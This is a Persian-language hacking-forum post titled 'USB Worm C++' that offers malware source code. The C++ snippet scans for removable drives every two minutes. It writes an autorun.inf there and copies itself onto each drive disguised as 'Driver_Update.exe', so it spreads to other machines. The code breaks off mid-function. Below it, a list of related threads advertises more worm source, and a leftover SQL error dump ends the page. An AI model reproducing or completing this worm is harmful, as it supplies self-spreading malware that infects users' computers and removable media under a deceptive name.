• 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
USB Worm C++
#1
سورس زیر که با سی پلاس پلاس نوشته شده است برای تکثر کرم یا همان worm شما در حافظه حانی مثل usb یا فلش دیسک ...
Code:
#include <windows.h>
#include <stdio.h>
#define IMSG "WORM"
using namespace std;

char me[1024];
HKEY hKey;
char *drives[] = {"C:","D:","E:","F:","G:","H:","I:","J:","K:","L:",
                  "M:","N:","O:","P:","Q:","R:","S:","T:","U:","V:",
                  "W:","X:","Y:","Z:"};
DWORD WINAPI spreadUSB()
{
    while(1)
    {
        Sleep(120000);
        int i;
        for(i = 0;i < 24;i++)
        {
            if((GetDriveType(drives[i])) == DRIVE_REMOVABLE)
            {
                char hldPath[50];
                char usbFile[30] = "\\Driver_Update.exe";
                char autoRun[50] = "[autorun]\r\nopen=Driver_Update.exe";
                strcpy(hldPath,drives[i]); // copy the path of the drive to the array hldPath
                strcat(hldPath,"\\autorun.inf"); //copy \\autorun.inf to the end of the previous array
                
                /* Can be imagined the previous two lines creates the string
                 * f:\\autorun.inf
                */
                          
                FILE *fp = fopen("autorun.inf","w"); //sets (creates)fp to be the file autorun.inf and opens with write permissions.
                fprintf(fp,autoRun); // writes the string
                fclose(fp); //closes the file fp
                CopyFile("autorun.inf",hldPath,0); // copy's file autorun.inf to the path in the array hldPath, 0 << means it will overwrite if exists.
                remove("autorun.inf"); // removes created file (leaves replaced file)
                strcat(drives[i],usbFile); //concatinates the char drives[i] with the string usbFile, giving a result like e:\\Driver_Update.exe
                CopyFile(me,drives[i],0); //Copy this whole file to the usb drive. Using the contatination above as the directory
  Reply


Possibly Related Threads...
Thread Author Replies Views Last Post
  Source Code IRC-Worm.Win32.Desire Delphi Amin_Mansouri 0 4,107 03-30-2012، 01:10 PM
Last Post: Amin_Mansouri
  Source Code LOA-worm Delphi Amin_Mansouri 0 5,719 03-30-2012، 01:05 PM
Last Post: Amin_Mansouri
  Source Code IRC-Worm.Hausex Delphi Amin_Mansouri 0 3,955 03-30-2012، 01:00 PM
Last Post: Amin_Mansouri
  (USB-Worm for UNIX/LINUX) Amin_Mansouri 0 3,214 11-09-2011، 03:17 PM
Last Post: Amin_Mansouri
  C++ worm example Amin_Mansouri 0 3,801 09-28-2011، 06:15 PM
Last Post: Amin_Mansouri
  [VB.NET]DC Worm Amin_Mansouri 0 4,983 09-26-2011، 09:41 AM
Last Post: Amin_Mansouri
  Delphi Usb Worm Amin_Mansouri 0 3,903 08-30-2011، 11:54 AM
Last Post: Amin_Mansouri
  Source Code Virus & Worm Amin_Mansouri 4 8,815 06-25-2011، 10:55 AM
Last Post: Amin_Mansouri

Forum Jump:


Users browsing this thread: 1 Guest(s)

MyBB SQL Error

MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1017 - Can't find file: './pxramin_parsii/mybb_threadviews.MYI' (errno: 2 "No such file or directory")
Query:
INSERT INTO mybb_threadviews (tid) VALUES('1028')